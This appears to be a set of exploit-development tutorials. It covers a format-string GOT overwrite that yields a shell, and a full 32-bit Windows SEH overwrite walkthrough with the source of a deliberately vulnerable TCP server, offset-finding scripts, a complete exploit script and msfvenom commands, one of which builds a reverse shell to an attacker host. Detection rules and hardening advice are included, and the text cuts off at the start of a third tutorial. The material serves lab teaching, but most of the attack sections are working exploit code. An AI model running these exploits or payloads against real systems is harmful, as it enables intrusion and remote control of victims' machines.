Run it:

$ python3 exploit.py
[*] '/home/lab/target'
    Arch:     i386-32-little
    RELRO:    No RELRO
[+] Starting local process './target'
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ cat /etc/hostname
fmt-lab

When main reaches exit(0), the PLT stub jumps through the now-poisoned GOT entry into win, and system("/bin/sh") hands you a shell. Confirm the overwrite landed before exit runs by breaking on it in pwndbg and re-reading 0x0804c014; it should now read 0x080491d6.


8. Manual Split-Write Without Helpers

To see what pwntools emitted, write a value by hand. Take a generic example: write 0xdeadbeef to address A.

  • Low half 0xbeef = 48879 to A
  • High half 0xdead = 57005 to A+2

Order the writes ascending by value so the counter only grows: 0xdead (57005) is larger than 0xbeef (48879), so write 0xbeef first, then top up to 0xdead.

Layout, at offset 7 for the addresses:

[ A ][ A+2 ]                      <- 8 bytes of embedded addresses
%<48879-8>x %7$hn                 <- count reaches 0xbeef, write low half to A
%<57005-48879>x %8$hn             <- count reaches 0xdead, write high half to A+2

The -8 accounts for the eight bytes the two packed addresses already printed. After the first %hn, the counter sits at 48879, so the second pad only adds 57005 - 48879 characters to climb to 57005.

For our real target the value is win = 0x080491d6: low half 0x91d6 (37334), high half 0x0804 (2052). Because the high half is the smaller number, you flip the write order: write 0x0804 to A+2 first, then pad up to 0x91d6 and write to A. That ordering decision is precisely the arithmetic fmtstr_payload handles for you, and exactly where hand-rolled payloads go wrong.

For GOT patching where you want to avoid carrying values across half-word boundaries, prefer four %hhn byte writes (write_size='byte'). It produces a longer string but sidesteps the ascending-order headache entirely.


9. 64-bit Complications

Move to x86-64 and three things change.

First, the calling convention. The first five format arguments are pulled from rsi, rdx, rcx, r8, r9, so your stack-resident buffer typically first appears around offset %6$ or later. Re-run the offset hunt; do not assume 7.

Second, null bytes. A 64-bit address like 0x0000555555554abc is full of \0 bytes. As a C string, the first null terminates your input, truncating the payload before your address is even read. You cannot place raw 64-bit addresses inline the way you did on 32-bit.

Third, the fix. Use byte-granular writes with %hhn so each write target is reachable without embedding null-laden 8-byte values, and let pwntools place the addresses after the format directives where the truncation no longer matters:

context.arch = 'amd64'
payload = fmtstr_payload(offset, {elf.got['exit']: win_addr},
                         write_size='byte')   # emits %hhn, null-safe ordering

fmtstr_payload knows the ABI and arranges the address table after the format specifiers, so the early null bytes never sit in front of a directive you still need to parse.


10. Mitigations, Bypass Strategies, and Hardening

MitigationEffect on Exploit
Full RELROGOT becomes read-only after linking; GOT overwrite dies
ASLRRandomises libc/stack/heap; need an info-leak first
PIERandomises binary base; leak base before writing
Stack canaryIrrelevant to %n writes unless you target saved $eip directly
-Wformat-securityFlags printf(user) at compile time
_FORTIFY_SOURCE=2Aborts on %n in a writable-memory format string in many configs; not a full block

The read primitive is the universal solvent here. ASLR and PIE only force an ordering: leak before you write. Use %p or %s to pull a libc pointer or the binary base out of the GOT, subtract the known static offset, and compute the live address you actually want. Then build the write with that resolved value.

When Full RELRO closes the GOT, change targets, not techniques. Historically __malloc_hook and __free_hook were favorite writable function pointers, but both were removed in glibc 2.34, so they no longer exist on modern systems. The durable modern target is .fini_array: the destructor pointer array that exit() walks on the way out. Overwrite an entry there and you get control on normal program exit even with the GOT locked. Saved return addresses on the stack remain an option when the layout is predictable and ASLR is leaked.

For defenders, the class is eliminable, not merely mitigable:

  1. Compile with -Wformat=2 -Wformat-security -Werror=format-security and fail the build on any hit.
  2. Enable _FORTIFY_SOURCE=2 in release builds.
  3. Link Full RELRO: -Wl,-z,relro,-z,now.
  4. Deploy PIE and ASLR together.
  5. SAST it: semgrep for printf(var), CodeQL cpp/tainted-format-string, flawfinder. A blunt grep finds most of it: grep -rn "printf(" --include="*.c" | grep -v '"%'.
  6. Sandbox with seccomp so a service process cannot execve a shell even if its GOT is poisoned.

Illustration of layered exploit mitigations as nested fortress walls, with RELRO as the outermost gate and a thin crack showing how a leak-then-write bypass still threads through all layers
Full RELRO, PIE, and ASLR each close one avenue, but the read primitive lets an attacker leak the randomisation before writing – making defense-in-depth essential rather than any single mitigation sufficient.

11. Common Attacker Techniques

TechniqueDescription
Stack read chain%p%p%p or %n$p to leak addresses, canaries, and libc base
Arbitrary readEmbedded address plus %s to dump any mapped string
GOT overwrite%hn/%hhn write redirects a soon-to-be-called import
.fini_array overwriteRELRO-resistant write that fires destructors at exit()
Saved return overwrite%n to a saved $eip/$rip when the stack is predictable
IDS evasionEncoding or fragmenting %n/%x to dodge signature matching

12. Defensive Strategies & Detection

Be honest about the telemetry: nothing on the host directly observes a malformed printf string. Detection is behavioral and lands on what happens after the GOT overwrite, plus crash artifacts from failed attempts.

SignalSourceDetail
Sysmon Event ID 1 (Process Create)SysmonA daemon spawning /bin/sh or cmd.exe; pivot on ParentImage, ParentCommandLine
Sysmon Event ID 3 (Network Connection)SysmonPost-exploit C2 from an exploited service
Sysmon Event ID 8 (CreateRemoteThread)SysmonShellcode threading into the victim after shell
Sysmon Event ID 11 (File Create)SysmonDropper staged to disk post-shell
Auditd execveauditd-a always,exit -F arch=b32 -S execve catches execve("/bin/sh")
ETW Microsoft-Windows-Kernel-ProcessETWAnomalous parent to child lineage on Windows targets
Application crash logsOS/appA failed %s deref segfaults; correlate SIGSEGV with prior input carrying %x/%n/%s

The high-value detection is parent-child lineage: a network service that has no business forking a shell suddenly becoming /bin/sh‘s parent.

title: Shell Spawned from Non-Interactive Service Process
status: experimental
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/sh'
            - '/bash'
            - '/dash'
        ParentImage|contains:
            - 'httpd'
            - 'nginx'
            - 'sshd'
            - 'target'
    condition: selection
fields:
    - Image
    - ParentImage
    - ParentCommandLine
    - CommandLine
falsepositives:
    - Legitimate admin shell invocations
level: high
tags:
    - attack.execution
    - attack.t1203

For network-exposed services, catch the probe at the input layer. Sequences of %x, %p, %n, %s, %hn, %hhn, or %<digit>$ direct-parameter syntax are strong indicators of format-string fuzzing:

alert tcp any any -> $HOME_NET any (
  msg:"FORMAT STRING PROBE - %n or %x sequence in payload";
  content:"%n"; nocase;
  sid:9000001; rev:1;
)

Treat input-layer signatures as tripwires, not gates. They are trivially encoded around, which is why hardening (RELRO, FORTIFY, seccomp) is the real control.


Conceptual illustration of behavioral detection showing a surveillance camera observing a shadowy attacker and a process tree with a web server unexpectedly spawning a shell child process
Direct observation of printf abuse is impossible; defenders key on behavioral aftermath – most critically a network service process appearing as the parent of an unexpected shell.

13. Tools for Format String Analysis

ToolDescriptionLink
pwntoolsExploit automation; fmtstr_payload builds the writesdocs.pwntools.com
checksecEnumerates RELRO/PIE/canary/NXgithub.com
objdump / readelfGOT relocations and symbol addressesgnu.org
GDB + pwndbggot, stack inspection, write verificationgithub.com
ltraceWatch the live printf argumentsltrace.org
GhidraStatic review of printf call sitesghidra-sre.org
semgrep / flawfinderSAST for printf(var) patternssemgrep.dev

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash logs, anomalous child processes from a vulnerable parent
Hijack Execution FlowT1574GOT / .fini_array overwrite redirecting control
Process InjectionT1055Sysmon Event ID 8 after the shell lands
System Information DiscoveryT1082%p read primitive enumerating stack/libc addresses
Deobfuscate/Decode InformationT1140Encoded format payloads dodging IDS signatures

ATT&CK has no dedicated technique for format-string bugs specifically. The correct parents are T1203 for the execution and T1574 for the control-flow hijack; do not invent a sub-technique ID.


Summary

  • A user-controlled printf format string is a full read/write primitive, not a crash bug. The missing "%s" lets the attacker drive _IO_vfprintf‘s argument walk directly.
  • %p/%s leak arbitrary memory; %n/%hn/%hhn write arbitrary values, with width specifiers controlling exactly what gets written.
  • The offset to your own buffer is the master key – find it with %N$p, then point reads and writes wherever you choose.
  • GOT overwrite to win gives a shell on the lab binary; under Full RELRO, pivot to .fini_array (the old __malloc_hook/__free_hook targets are gone as of glibc 2.34).
  • Detection is behavioral and post-exploitation – watch service processes spawning shells (Sysmon Event ID 1, auditd execve), and kill the class at the source with -Werror=format-security, Full RELRO, FORTIFY, and seccomp.

Related Tutorials

References

SEH Overwrite Exploits: Hijacking Exception Dispatch

Objective: Understand how 32-bit Windows Structured Exception Handling works from the TEB down to RtlDispatchException, how a stack overflow corrupts the _EXCEPTION_REGISTRATION_RECORD chain, and how the POP/POP/RET technique turns a caught exception into reliable code execution – built end to end against a self-authored vulnerable TCP server in a lab VM, then paired with the SafeSEH/SEHOP/DEP/GS controls that kill it.


There’s a particular kind of crash that makes new exploit devs assume the bug is dead. You smash the stack, you check EIP, and it still reads a clean return address – the /GS cookie or some other guard caught the corruption and the program is now unwinding. Look closer. If that function ran inside a __try block, you didn’t just corrupt return addresses; you corrupted the exception handler pointers sitting on the stack, and the program is about to hand execution to one of them voluntarily. That is the whole game. SafeSEH gets a lot of press as the thing that stopped this, but in practice the bypass is often trivial – all it takes is one linked module in the process that forgot to opt in.

This walkthrough builds the bug, the primitive, and the payload from scratch.


Free tool: generate the cyclic pattern and find the exact EIP/RIP offset with our Buffer Overflow Pattern Generator & Offset Finder – runs entirely in your browser.
Free tool: use the Bad Character Comparator to find which bytes corrupt your buffer, right in your browser.

1. Windows Exception Handling 101

An exception is a synchronous interruption to normal flow: a hardware fault (divide-by-zero, access violation, page fault) or a software-raised condition (RaiseException). Windows funnels both through the same dispatch machinery so the OS, the CRT, and the application all get a chance to handle or decline them.

In C/C++ on MSVC, you opt into that machinery with the __try / __except / __finally keywords:

__try {
    *(int*)0 = 0xdead;            // access violation
}
__except (EXCEPTION_EXECUTE_HANDLER) {
    printf("caught it\n");        // filter returned EXECUTE_HANDLER
}

At function entry, the compiler emits a prologue that pushes a new exception registration record onto the stack and links it into the thread’s SEH chain by updating FS:[0]. That record is two pointers wide. It lives on the stack, near your local buffers – which is exactly why a stack overflow can reach it.


2. The SEH Chain Internals

Every thread owns a Thread Environment Block (_TEB). The first member of the TEB is an _NT_TIB, and the first member of that is ExceptionList – the head of a singly-linked list of exception registration records. On x86 the TEB is reachable through the FS segment register, so the chain head sits at FS:[0x00].

typedef struct _NT_TIB {
    PEXCEPTION_REGISTRATION_RECORD ExceptionList;  // FS:[0x00] — head of SEH chain
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    // ...
    struct _NT_TIB *Self;
} NT_TIB, *PNT_TIB;

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;     // nSEH — next record (lower addr)
    PEXCEPTION_ROUTINE                     Handler;  // SEH  — handler code (higher addr)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Each record is 8 bytes: a Next pointer (the field exploit writers call nSEH) followed by a Handler pointer (the SEH field). Records chain together until the final one, whose handler is the process-wide default – kernel32!UnhandledExceptionFilter – the thing that pops the “application has stopped working” dialog and terminates.

Walk the live chain in WinDbg with !exchain:

0:000> !exchain
0019ff70: vuln_seh_server!handle_client+0x5e (00401a8e)
0019ffcc: ntdll!_except_handler4 (77a1c2b0)
0019ffe4: ntdll!FinalExceptionHandler (779f3210)
Invalid exception stack at ffffffff

The address column is where each _EXCEPTION_REGISTRATION_RECORD lives on the stack. Overflow far enough and the first entry’s handler becomes 41414141.

Struct / SymbolKey FieldsRole
_EXCEPTION_REGISTRATION_RECORDNext (nSEH), Handler (SEH)8-byte stack record; the overwrite target
_NT_TIBExceptionList at 0x00, StackBase, StackLimit, SelfHead of the chain at FS:[0]
_TEB_NT_TIB at offset 0Per-thread block reached via FS:[0]
EXCEPTION_RECORDExceptionCode, ExceptionAddress, ExceptionInformation[]Describes the fault to each handler
CONTEXTEip, Esp, Ebp, GP/segment/FP regsThread register state at fault time

Hierarchy diagram showing the SEH chain from the TEB ExceptionList through linked EXCEPTION_REGISTRATION_RECORDs down to the final UnhandledExceptionFilter handler
Every thread’s SEH chain is a singly-linked list of 8-byte stack records anchored at FS:[0x00] – overflow far enough and the Handler field becomes attacker-controlled.

3. Exception Dispatch Flow: Kernel to User Mode

When the CPU faults, the kernel takes the trap, builds an EXCEPTION_RECORD plus a CONTEXT, and reflects the exception back into user mode at a fixed entry point. The flow:

  1. ntdll!KiUserExceptionDispatcher – first user-mode function in the chain; a thin shim that calls RtlDispatchException and inspects the result.
  2. ntdll!RtlDispatchException – walks ExceptionList, runs validation on each record, and dispatches to each registered handler in turn.
  3. ntdll!RtlIsValidHandler – where SafeSEH is actually enforced; it calls RtlpxLookupFunctionTable to check the handler against the module’s SEHandlerTable.
  4. Handler callback – invoked with the EstablisherFrame as its second argument.
  5. ZwContinue if the exception was handled, or ZwRaiseException if RtlDispatchException returned 0 (nobody handled it).

Before it ever calls a handler, RtlDispatchException runs three sanity checks that shape everything about how the exploit must be built:

CheckRequirement
Handler not on the stackThe handler address must be outside [StackLimit, StackBase]
Record on the stackThe _EXCEPTION_REGISTRATION_RECORD itself must sit on the stack
Record alignmentThe record address must be properly byte-aligned

The first check is the killer. You can overwrite the Handler field with a pointer straight to your shellcode on the stack – and the dispatcher will refuse to call it, because that address lives in stack memory. You need to redirect through code that is not on the stack first, then bounce back. That is precisely what POP/POP/RET does, and it’s why the technique is mandatory even against binaries with no SafeSEH at all.


4. Stack Layout Under a Vulnerable Overflow

The stack grows toward lower addresses, but your strcpy writes toward higher addresses. Inside a __try, the record sits above your locals, so a linear overflow runs:

   low addr  ┌────────────────────────┐
             │  char buf[512]         │  ← strcpy starts here, writes upward
             │  ...saved regs/cookie  │
   nSEH ───► │  Next  (4 bytes)       │  ← overwritten with short-jump stub
   SEH  ───► │  Handler (4 bytes)     │  ← overwritten with POP/POP/RET address
             │  shellcode...          │  ← lands right after the record
   high addr └────────────────────────┘

Both fields get clobbered in the same pass because they’re adjacent. That’s the layout that makes the technique work: nSEH (lower) holds a tiny jump, SEH (higher) holds the gadget, and your payload follows immediately after.


5. The POP/POP/RET Gadget – Theory and Mechanics

When RtlDispatchException calls the handler, the raw SEH callback signature is:

EXCEPTION_DISPOSITION NTAPI _except_handler(
    _Inout_ struct _EXCEPTION_RECORD *ExceptionRecord,
    _In_    PVOID                     EstablisherFrame,   // ← address of OUR record
    _Inout_ struct _CONTEXT          *ContextRecord,
    _In_    PVOID                     DispatcherContext
);

EstablisherFrame is the address of the exception registration record being dispatched – which, after the overflow, is the stack address of our overwritten nSEH. At the moment of the call, the stack looks like:

; [ESP+00]  return address into ntdll
; [ESP+04]  ExceptionRecord*
; [ESP+08]  EstablisherFrame   <-- pointer to our nSEH on the stack
; [ESP+0C]  ContextRecord*
; [ESP+10]  DispatcherContext*

Now run a gadget of the form pop <reg> ; pop <reg> ; ret:

  • First pop discards [ESP+00] (the return address).
  • Second pop discards [ESP+04] (the ExceptionRecord pointer).
  • ret pops [ESP+08]EstablisherFrame – into EIP.

EIP is now the stack address of our nSEH. The CPU starts executing the bytes we wrote there. We control them. Any two general-purpose register pops work; the registers themselves are irrelevant – we only care that ESP advances 8 bytes and ret consumes the EstablisherFrame.

nSEH is only 4 bytes, but 4 bytes is enough for a short jump that hops over the SEH field into the shellcode that follows.


Flow diagram showing how RtlDispatchException calls the [POP/POP/RET gadget](https://genxcyber.com/x86-and-x64-assembly-from-scratch/), which redirects EIP to the nSEH short-jump stub, which then jumps into the shellcode
Two pops advance ESP past the return address and ExceptionRecord pointer; ret consumes EstablisherFrame – landing EIP directly on the attacker-controlled nSEH bytes.

6. Building the Lab Target

Compile this with MSVC for x86, mitigations deliberately off. It listens on TCP 9999 and strcpys network input into a 512-byte stack buffer inside a __try – guaranteeing an SEH record sits above the overflow.

// vuln_seh_server.c — intentionally vulnerable lab target
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[512];          // fixed-size stack buffer
    char recv_buf[4096];
    int n = recv(s, recv_buf, sizeof(recv_buf)-1, 0);
    if (n <= 0) return;
    recv_buf[n] = '\0';

    #ifdef _MSC_VER
    __try {
        strcpy(buf, recv_buf);  // ← unsafe copy: overflows into nSEH + SEH
        printf("Received: %s\n", buf);
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        printf("Exception caught (benign handler)\n");
    }
#else
    strcpy(buf, recv_buf);      // ← unsafe copy: overflows into nSEH + SEH
    printf("Received: %s\n", buf);
#endif
}

int main() {
    WSADATA wsa; WSAStartup(MAKEWORD(2,2),&wsa);
    SOCKET srv = socket(AF_INET,SOCK_STREAM,0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv,(struct sockaddr*)&addr,sizeof(addr));
    listen(srv,1);
    printf("[*] Listening on port 9999\n");
    SOCKET cli = accept(srv,NULL,NULL);
    handle_client(cli);
    closesocket(cli); closesocket(srv); WSACleanup();
    return 0;
}
cl.exe /MT /Zi /GS- /SAFESEH:NO /NXCOMPAT:NO /DYNAMICBASE:NO vuln_seh_server.c /link /SAFESEH:NO

VM setup: Windows 10 x86 (32-bit), Immunity Debugger + mona.py (or x64dbg-32 + ERC). Disable Defender. Turn DEP off for the first pass with bcdedit /set nx AlwaysOff and reboot; you’ll switch it back on for the advanced exercise.


7. Lab Walkthrough: Building the Exploit Step by Step

Step 1 – Crash verification

# crash.py
import socket
payload = b"A" * 2000
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(payload); s.close()

Attach Immunity to the running server first, then fire. Open View → SEH chain (or !exchain in WinDbg). Both nSEH and SEH read 41414141. The access violation occurred, the dispatcher walked the chain, and our AAAA is now the handler.

Step 2 – Find the nSEH/SEH offset

msf-pattern_create -l 2000 > pattern.txt
# offset_fuzz.py
import socket
pattern = open("pattern.txt","rb").read()
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(pattern); s.close()

After the crash, read the nSEH value out of the SEH chain window and feed it back:

msf-pattern_offset -l 2000 -q '<nSEH_value>'
# [*] Exact match at offset 524

Layout locked in: [524 × 'A'][4 nSEH][4 SEH][shellcode...].

Step 3 – Bad character analysis

# Place all bytes 0x01–0xFF in the shellcode region and diff in the debugger
badchars = bytes(range(1, 256))
payload = b"A"*524 + b"B"*4 + b"C"*4 + badchars

For this target the obvious offender is \x00strcpy stops dead at the first null. The classic SEH bad set is \x00\x0a\x0d. I once burned the better part of an afternoon on a “broken” gadget that turned out fine; the real problem was a 0x0a mid-shellcode that strcpy happily copied but the parser upstream had chewed into a line break. Run the badchar pass before you trust any address. Document the set for msfvenom.

Step 4 – Find a POP/POP/RET in a non-SafeSEH module

In Immunity with mona:

!mona seh -n

The -n flag restricts results to modules without SafeSEH and without ASLR – exactly the constraints the dispatcher’s validation forces on us. A result line looks like:

0x61617619 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [EPG.dll]

x64dbg users get the same with ERC:

ERC --SEH

Pick an address free of your bad characters. Verify by hand – disassemble it and confirm it really is two register pops and a ret. Note the address; it must be the module’s code, never the stack.

Step 5 – Craft the nSEH short-jump stub

nSEH is only 4 bytes and it gets executed first (the gadget’s ret lands there). A near-relative short jump is \xEB + signed displacement. We need to clear the 4-byte SEH field, so jump 6 bytes forward and pad to width with NOPs:

\xEB\x06   ; jmp $+8  (6-byte relative jump from end of this instruction)
\x90\x90   ; NOP padding to fill the 4-byte nSEH field

So nSEH = \xeb\x06\x90\x90. Execution at nSEH hops over the 4-byte handler field and lands in the shellcode buffer that follows the record.

Step 6 – Generate shellcode

# Proof-of-life
msfvenom -p windows/exec CMD=calc.exe \
  -b "\x00\x0a\x0d" -f python --var-name shellcode

# Lab-only reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4444 \
  -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python --var-name shellcode

Step 7 – Final exploit

#!/usr/bin/env python3
# exploit_seh.py — lab target only, authorized testing
import socket, struct

OFFSET_TO_NSEH = 524

# nSEH: short jump over the 4-byte SEH field into the shellcode
nSEH = b"\xeb\x06\x90\x90"

# SEH: POP/POP/RET address from a non-SafeSEH DLL (little-endian)
SEH_HANDLER = struct.pack("<I", 0x61617619)   # replace with YOUR gadget

# Shellcode: NOP sled + msfvenom output (no bad chars)
shellcode  = b"\x90" * 16
shellcode += b"\xdb\xcc..."                    # paste msfvenom python output

payload  = b"A" * OFFSET_TO_NSEH
payload += nSEH            # +0  jmp +6
payload += SEH_HANDLER     # +4  POP/POP/RET -> EIP = address of nSEH
payload += shellcode       # +8  jump lands here

s = socket.socket()
s.connect(("192.168.x.x", 9999))
s.send(payload)
s.close()
print("[*] Payload sent")

Step 8 – Verify the flow in the debugger

  1. Breakpoint on the POP/POP/RET address.
  2. Send the exploit; on the first-chance access violation, pass it to the app with Shift+F9 so the dispatcher actually invokes the handler.
  3. Single-step the gadget: two pops, then ret loads the stack address of nSEH into EIP.
  4. \xEB\x06 jumps 6 bytes into the NOP sled, then the shellcode fires. Calc spawns, or your listener catches the shell.

The order is counter-intuitive the first time you watch it: the ret jumps backward in the payload (into nSEH), and nSEH then jumps forward over the handler field into the shellcode. Two hops, by design, because the dispatcher won’t let us point straight at the stack.


8. Mitigation Deep Dive: SafeSEH, SEHOP, DEP, /GS

MitigationMechanismBypass condition
SafeSEH (/SAFESEH)PE stores a SEHandlerTable in IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG; RtlIsValidHandler checks every handler against itSource the POP/POP/RET from a non-SafeSEH module loaded in the same process
SEHOPDispatcher appends a terminal record and verifies the chain reaches ntdll!FinalExceptionHandler; overwriting Handler corrupts Next, breaking reachabilityReconstruct a valid synthetic chain ending at the final handler; default-on for Server, default-off for desktop
DEP / NXStack pages marked non-executableShellcode must live in executable memory, or pivot through a VirtualProtect/VirtualAlloc ROP chain
/GS cookieRandom cookie checked before ret to catch sequential overwritesDefeat via out-of-order write, leak, or – as here – reach SEH before the cookie check matters
64-bit SEHx64 uses static UNWIND_INFO tables interpreted by the system; no runtime handler list on the stackClassic SEH overwrite is 32-bit only

Check what a binary actually enabled before you waste time:

dumpbin /loadconfig vuln_seh_server.exe   :: shows "Safe Exception Handler Table"
!mona modules                              :: SafeSEH / ASLR / NX / Rebase per module

Advanced exercise – re-enable, one at a time:

  • SafeSEH on. Your gadget from a protected module is now rejected by RtlIsValidHandler. Find one in any non-SafeSEH DLL in the address space – there’s almost always one.
  • SEHOP on. The chain-walk fails reachability and the process is terminated instead of executing your handler. Watch the termination, then study the synthetic-chain reconstruction (understanding only) – you must rebuild a chain that still threads back to ntdll!FinalExceptionHandler.
  • DEP on. The stack shellcode no longer executes. Introduce a small ROP stub that calls VirtualProtect to flip the stack to RX, then pivots into the shellcode – the gateway into return-oriented programming.

Four stacked vault doors representing layered exploit mitigations: SafeSEH, SEHOP, DEP, and stack cookies blocking an attacker
No single mitigation defeats the SEH overwrite – SafeSEH, SEHOP, DEP, and /GS must be layered together to make the technique infeasible.

9. Common Attacker Techniques

TechniqueDescription
SEH handler overwriteClobber the Handler field and redirect dispatch via POP/POP/RET
nSEH short-jump pivotUse the 4-byte Next field as a jump stub into adjacent shellcode
Non-SafeSEH gadget sourcingPull POP/POP/RET from a module that opted out of /SAFESEH
Egg-huntingWhen space after the record is tight, jump to a small hunter that scans memory for a tagged larger payload
Synthetic SEH chainRebuild a valid-looking chain to slip past SEHOP reachability checks
ROP-assisted DEP bypassChain VirtualProtect/VirtualAlloc gadgets to make the stack executable before pivoting

10. Defensive Strategies & Detection

SEH chain corruption is a CPU/kernel-level event – user-mode telemetry like Sysmon never sees the overwrite itself. You detect the outcome: an unexpected child process, an outbound connection from a service that shouldn’t make one, or a tell-tale crash burst from fuzzing.

Sysmon Event IDField to alert onRationale
Event ID 1 (Process Create)ParentImage = the vulnerable service spawning cmd.exe/powershell.exe/calc.exe; odd CommandLineShellcode launching a child shell
Event ID 3 (Network Connect)SourceImage = the server connecting outbound to an unusual DestinationPort/IPReverse-shell callback
Event ID 7 (Image Load)Signed = false, suspicious ImageLoaded after the crash windowSecond-stage DLL
Event ID 5 (Process Terminate)Abnormal termination of the serviceFailed exploit / SEHOP kill
Event ID 11 (File Create)Writes into %TEMP%/%APPDATA% right after activityPayload staging

Windows Security log: 4688 (process creation with full command line, given Audit Process Creation + command-line inclusion) catches spawned shells. Application log 1000/1001 (WER) flags repeated service crashes – a fuzzing/spraying canary.

ETW providers worth subscribing:
Microsoft-Windows-WER-SystemErrorReporting – process fault data; repeated crashes betray a campaign.
Microsoft-Windows-Security-Mitigations (GUID {FAC7F9EB-5B9A-4D80-8D9E-9ABF6B3B83C0}) – logs SEHOP/DEP-triggered terminations. Confirm with logman query providers | findstr Mitigations.
Microsoft-Windows-Kernel-Process – lifetime events for correlation.

title: Suspicious Child Process from Network Service (SEH Exploit Post-Exploitation)
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\vuln_seh_server.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\whoami.exe'
  condition: selection
fields:
  - ParentImage
  - Image
  - CommandLine
  - User
falsepositives:
  - Legitimate admin scripts spawned by the service
level: high

Hardening: compile with /SAFESEH and /GS; enable SEHOP system-wide (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0) or via Exploit Guard; force DEP (bcdedit /set nx AlwaysOn); enable ASLR. None of these alone is decisive – /GS plus SafeSEH plus SEHOP plus DEP, stacked, is what makes the classic SEH overwrite infeasible.


Conceptual illustration of behavioral detection - a suspicious process tree spawning child shells visible through a monitoring lens
SEH exploitation is invisible at the wire level; detection relies on behavioral telemetry – unexpected child processes, outbound callbacks, and crash-burst patterns caught by Sysmon and ETW.

11. Tools for SEH Exploit Analysis

ToolDescriptionLink
Immunity Debugger + mona.pySEH chain view, !mona seh -n, badchar/module triageimmunityinc.com
x64dbg + ERCERC --SEH gadget discovery on the 32-bit buildx64dbg.com
WinDbg!exchain, _EXCEPTION_REGISTRATION_RECORD inspectionmicrosoft.com
msf-pattern_create / _offsetCyclic pattern offset discoverymetasploit.com
msfvenomBad-char-aware shellcode generation/encodingmetasploit.com
dumpbin /loadconfigConfirm SafeSEH table presence in a PEmicrosoft.com
GhidraStatic review of handler frames and __try regionsghidra-sre.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Sysmon EID 1 child-process anomalies from a client app
Exploitation of Remote ServicesT1210Outbound connect from a listening service (EID 3); WER crash bursts
Exploitation for Privilege EscalationT1068Shell spawned under a high-privilege service account
Command and Scripting Interpreter: Windows Command ShellT1059.003cmd.exe parented by the vulnerable EXE
Process InjectionT1055Post-exploit injection into a host process

ATT&CK has no SEH-overwrite sub-technique. Map server-side delivery (the lab here) to T1210, client-side to T1203, and add T1068 when the service runs elevated.


Summary

  • An SEH overwrite weaponizes Windows’ own exception dispatcher: corrupt the on-stack _EXCEPTION_REGISTRATION_RECORD, and the OS hands you control when it tries to handle the fault you caused.
  • The dispatcher’s three validation checks – handler off-stack, record on-stack, aligned – are why a direct pointer-to-shellcode fails and POP/POP/RET is mandatory even without SafeSEH.
  • nSEH carries a 4-byte short jump (\xeb\x06\x90\x90); SEH carries a POP/POP/RET gadget sourced from a non-SafeSEH module; the gadget’s ret lands on nSEH, which hops into the shellcode.
  • The technique is 32-bit only – x64 SEH uses static UNWIND_INFO tables, not a stack-resident handler list.
  • Stacked mitigations (/GS + SafeSEH + SEHOP + DEP + ASLR) defeat it; detection is behavioral – Sysmon EID 1/3/5, WER crash telemetry, and the Security-Mitigations ETW provider.

Related Tutorials

References

Structured Exception Handler (SEH) Internals on Windows

You’ve got a stack overflow in a network service, but EIP is zeroed out at dispatch time and the OS won’t let you point the handler at the stack. Classic SEH exploitation looks broken until you understand why the dispatcher pushes those two pointers – and how two POPs and a RET turn the OS’s own calling convention into your pivot. This tutorial tears SEH apart from the data structures up through a working exploit against a self-built vulnerable server, then shows you exactly what a defender sees when it fires.

Everything here is x86 only. On x64, exception handlers live in .pdata unwind tables baked into the PE, not on the stack – there’s no chain to corrupt. If you’re targeting WOW64 processes, the 32-bit SEH mechanics still apply.


Free tool: generate the cyclic pattern and find the exact EIP/RIP offset with our Buffer Overflow Pattern Generator & Offset Finder – runs entirely in your browser.
Free tool: use the Bad Character Comparator to find which bytes corrupt your buffer, right in your browser.

1. Exception Handling Fundamentals

Windows exceptions come in two flavors: hardware (CPU traps – access violations 0xC0000005, divide-by-zero 0xC0000094, breakpoints 0x80000003) and software (raised explicitly via RaiseException() or a C++ throw). Both funnel through the same dispatch machinery.

MSVC exposes SEH through non-standard keywords:

__try {
    // guarded body
} __except(EXCEPTION_EXECUTE_HANDLER) {
    // handler — runs if filter returns 1
}

The __except filter expression returns one of three values:

ValueConstantMeaning
1EXCEPTION_EXECUTE_HANDLERExecute the handler block
0EXCEPTION_CONTINUE_SEARCHPass to next handler in chain
-1EXCEPTION_CONTINUE_EXECUTIONRe-execute faulting instruction

The dispatch model is two-pass: first pass walks the chain looking for a handler whose filter says “I’ll take it”; second pass unwinds frames via RtlUnwind, calling __finally blocks on the way up. If nobody claims the exception, kernel32!UnhandledExceptionFilter gets it – the familiar crash dialog.

VEH (Vectored Exception Handling) coexists with SEH but fires first. VEH handlers are registered globally via AddVectoredExceptionHandler() and checked before the per-thread SEH chain is walked. For exploitation purposes, we care about the per-thread chain on the stack.


2. The SEH Chain: Structures and Memory Layout

Every thread’s SEH chain starts at FS:[0] – the first field of _NT_TIB inside the Thread Environment Block (_TEB). That pointer references the head of a singly-linked list of 8-byte records:

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;   // 4 bytes — pointer to previous record
    PEXCEPTION_ROUTINE                     Handler; // 4 bytes — pointer to handler function
